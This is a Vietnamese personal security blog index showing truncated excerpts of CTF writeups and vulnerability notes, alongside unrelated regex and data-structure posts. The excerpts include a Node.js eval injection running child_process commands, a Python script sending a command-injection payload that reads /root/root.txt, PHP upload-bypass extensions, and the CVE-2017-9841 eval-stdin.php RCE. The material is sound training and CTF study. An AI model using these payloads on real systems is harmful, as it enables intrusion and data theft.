Bài đăng

Hình ảnh
 TetCTF và hành trình bú bẩn không thành Hello ae, tình hình là phải cập nhật cloud sớm thôi chứ không ổn rồi :v Mình writeup bài web1, bài này tốn kha khá thời gian của mình T_T. ----------------------------------------------------------------------- Web1: Hello from API GW Truy cập link tác giả cung cấp thôi Lúc đầu mình nhận định là ssti, php hoặc là python. Nhưng thực ra không phải, nó là nodejs, được đặt trong eval. Thế thì dễ. https://huk5xbypcc.execute-api.ap-southeast-2.amazonaws.com/dev/vulnerable?vulnerable=[require(%27child_process%27).execSync(%27ls -la%27).toString()] Tuy nhiên, mình đã không tìm được file flag kèm với tên category là cloud nên mình đã chuyển sang exploit cloud, có vẻ là Amazon web services(AWS). Thực sự mình không biết mô tê về cái này nên hơi mất tg research. Dựa vào thông tin trong env mình đã xác định được 2 acc là AWS_ và ENV_ Mình bị rơi vào stuck chỗ này chỉ đụng mỗi cái AWS_ :V nhưng mà thk ENV_ thì okela nha Sài tool này để enum. Chú ý vào phần s
 UPLOAD WINDOWS Hôm nay mình research các cách upload file trên windows @@. Như đã biết windows khác với linux, ví dụ như trong linux bạn có thể upload file phar và thực thi nó bình thường nhưng trong trong windows nếu chưa được cấu hình thì file sẽ ko được thực thi, nó sẽ hiển thị dưới dạng text vô hại. Được test trên apache server Ok +) php +) .htaccess +) png.php +) PhP Not Ok +) php.png +) .phar, .phtml, .php3,... +) .php[khoang trang]

Java Edition - learn by heart not learn step by step :D

Hình ảnh
 Hế lô ae, lại là mình đây. Đây là bài đầu tiên trong tháng, cũng là bài đầu tiên trong năm 2024 nên là hoan hỉ hoan hỉ. Thú thật mình ngoo java vc nên lười học nhưng ai biết đc số phận đưa đây chúng ta đến với nhau?? Command injection - the lover - the first code Chua lam: cmd3 JAVa1 Đầu tiên review code trước nhỉ @@ Dòng 24: @GetMapping("/codeinject") sẽ nhận phương thức GET tại endpoint /codeinject.  Dòng 27: filepath là 1 untrust data chúng ta có thể điều khiển được. Giá trị filepath sẽ được cho vô mảng cmdList bằng cách nối với chuỗi ls -la. Dòng 28-30: gọi đến class ProcessBuilder và truyền mảng chứa untrust data vô. class Process sẽ xử lý tiến trình mà ProcessBuild.start() tạo ra -> gadget. Bug1: file inclusion  Hãy test thử nhé Bug2: Command injection -> RCE Mình có thể điều khiển được command nên ai biết gì đâu :D Xong rồi :))) Bài viết này sẽ là 1 trong những chuỗi hoạt động nghiên cứu lỗi trên java của mình,  MAKE SPYCIO.KON-TEAM GREAT AGAIN -----------------

Regex và cuộc đời bất hạnh của nó

 Hế hế, lâu rồi không ghi blog đơn giản vì chán quá + lười nữa.  Nhận thấy mình có vấn đề với thk cha Regex nên tiện hôm nay note lại để hiểu rõ hơn. ----------------------------------------------------------------------------------------------------------- Khái niệm: Regex là các mẫu(pattern) thay vì các chuỗi dùng để tìm kiếm/ thay thế/.... Nói nôm na là nó đc dùng xử lý chuỗi một cách thuận tiện hơn. Đây là cái sẽ làm nền tảng cho blind regex injection attack  Cú pháp Regex: Dùng để thể hiện vị trí  ^  và $ . ^The: match với chữ The nhưng nó phải đứng đầu tiên end$: match với từ end nhưng nó phải đứng cuối ^The end$: match với từ The end end: match với bất kì từ end nào có trong câu Dùng để thể hiện số lượng  *   +   ?   {} . Lấy ví dụ với từ abc abc*: match với từ ab và không có hoặc có nhiều chữ c đằng sau:  -VD: abccc,ab,abc,... abc+: match với ab và có một hoặc nhiều kí tự c đằng sau -VD: abc,abccc,... abc?: match với ab và có hoặc không có 1 chữ c đằng sau. -VD: ab,abc abc{2}:

KMA TTV

Mấy nay tui lười viết wu quá, nhưng mà đại loại là khum clear đc web(6/10 chall) còn làm khá ngoo nữa nên viết sẽ bị chê cười. Đăng tạm 3 prog solve script. T định clear hết prog nhưng lười quá, mà thấy sú nữa, t biết code đ đâu :V Prog1: import json from pwn import * r = remote ( '103.162.14.116' , 14002 ) try :     while ( True ) :         print ( r . recvline ())         r . recvuntil ( b "arr =" )         s = r . recvline (). decode ()         print ( s )         u = max ( json . loads ( s ))         r . sendline ( bytes ( str ( u ), "utf-8" )) except :     print ( r . recvline ()) r . interactive () # print(max( [35108217398665520798322916107816, 778190297752053830054479172279829, 433248835926907151366557863609100, 530511307645369300518075525954125, 319041740549641573432614280680049, 54889066684876542565651338313320, 555523546383080759680027939296310, 743500905362792400800205265076928, 568493246032607782686888251069529, 73281316704799390114350
 Cau truc du lieu va giai thuat Bai2: cau5 # include < iostream > using namespace std ; // khoi tao struct node; struct node {     int data ;     node * leftNode ;     node * rightNode ; } ; typedef struct node NODE ; typedef NODE * TREE ; // khoi tao node moi void createTree ( TREE & t ){     t = NULL ; } void createNewNodeForTree ( TREE & t , int data ){     if ( t == NULL ){         NODE * p = new node ;         p -> data = data ;         p -> leftNode = NULL ;         p -> rightNode = NULL ;         t = p ; // rootNode     } else {         if ( data > t -> data ){             createNewNodeForTree ( t -> rightNode , data ) ;         } else if ( data < t -> data ){             createNewNodeForTree ( t -> leftNode , data ) ;         }     } } void duyetTree ( TREE t ){     if ( t != NULL ){         duyetTree ( t -> leftNode ) ;         cout << t -> data << " " ;         duyetTree ( t -> ri
Hình ảnh
KMA THI SINH VIÊN ATTT CẤP HỌC VIỆN Hế lô ae, giải này end cũng mấy hôm rồi nhưng mà mình cũng chưa định viết writeup do còn 2 bài web nữa chưa xong :( Nhưng mà kệ đi, dưới đây là 3 bài mình đã solve. :( Pwn1: Welcome to KCSC Bài này mình chỉ đăng script thôi, xin nhỗi mn :> from pwn import * import requests # elf = context.binary = ELF("./advice") pay1 = b ''' Hello" && /usr/bin/as @/root/root.txt; echo" ''' pay2 = b " 111111 " # r = elf.process([pay1, pay2]) d = requests . post ( " http://103.162.14.116:5001/contact " , data ={ " name " : pay1 , " advice " : pay2 } ) print ( d . text ) # r.interactive() Web1: You are a good admin. Mn có thể tải file tại đây . Sau khi build docker xong, hãy quan sát một chút về code  có 4 route là / /login /admin /file. Cái /tesing là mình tự thêm vào nên mn không cần để ý đâu :)) Tại route /file, ta dễ thấy nó đang bị lỗi file inclusion tại tham số f.

CVE-2017-9841

Hình ảnh
 CVE-2017-9841 Lỗ hổng cho phép attacker thực thi lệnh tùy ý dẫn đến RCE.  Lỗ hổng này đã được Bob Weinand vô tình vá vào năm 2016 nhưng không hề có bất kì lời khuyên bảo mật nào nên tui sẽ nghiên cứu nó :v Mọi người có thể dựng lại lab tại đây Sau khi dirsearch mình nhận thấy có 1 file eval-stdin.php.  Theo như các research trước, tại file này sẽ chứa nội dung như sau <?php eval ( ' ?> ' . file_get_contents ( ' php://input ' )) ; Input chúng ta có thể điều khiển được đặt trong hàm eval mà không có bất kì biện pháp bảo vệ nào cả. Truy cập vô file đó về gửi mã php như sau. Mã của chúng ta đã được thực thi, bây giờ chỉ cần đọc flag trong env là xong
Hình ảnh
CSAWCTF VÀ TEAM MÌNH ĐÃ CỐ HẾT SỨC. Hello mn, chúng ta lại gặp nhau rồi :v Tại thời điểm mình ghi writeup thì bọn mình đang ở top 286, một kết quả khá khả quan đối với bọn mình. :v Và tất nhiên là bên mình vẫn sẽ tuyển các bạn RE tích cực hoạt động để kéo thành tích nhóm lên nhé :v Mình sẽ ghi writeup 2 bài web mình đã solve, khá là tệ :( +) Smug-Dino +) Philantrophy Web1: Smug-Dino Hãy xem thử link thử thách tác giả cung cấp.  Ta thấy rằng có 2 endpoint /flag và /hint khi truy cập /flag thì nó lại về localhost:3009/flag.txt. Còn khi truy cập /hint nó trả về page như này Server name là nginx và version của nó là 1.17.6 Sau khi truy cập thì được hint. 1 hồi search, mình thấy có một CVE-2019-20372 về NGINX http request smuggling. Đổi connection thành keep-alive và nhận về kết quả như sau. Xác định được lỗi, bây giờ đọc flag thôi :v Thực sự mình cũng đếch hiểu tạo sao lúc được lúc không, nhưng mn cứ post như này là ăn :v Cần thì cứ spam các kiểu đi. Web2: Philantrophy Bài này chủ yếu là r